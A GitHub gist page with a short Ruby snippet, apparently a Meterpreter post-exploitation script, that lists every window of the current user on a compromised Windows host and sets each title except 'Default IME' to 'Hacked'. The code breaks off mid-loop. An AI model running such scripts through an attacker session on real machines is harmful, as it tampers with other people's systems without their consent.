Create a gist now

Instantly share code, notes, and snippets.

Sets all of the windows titles for the current user to "Hacked"
windows = client.extapi.window.enumerate
windows.each do |winder|
if winder[:title] != 'Default IME'
result = client.railgun.user32.SetWindowTextA(winder[:handle],"Hacked")
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment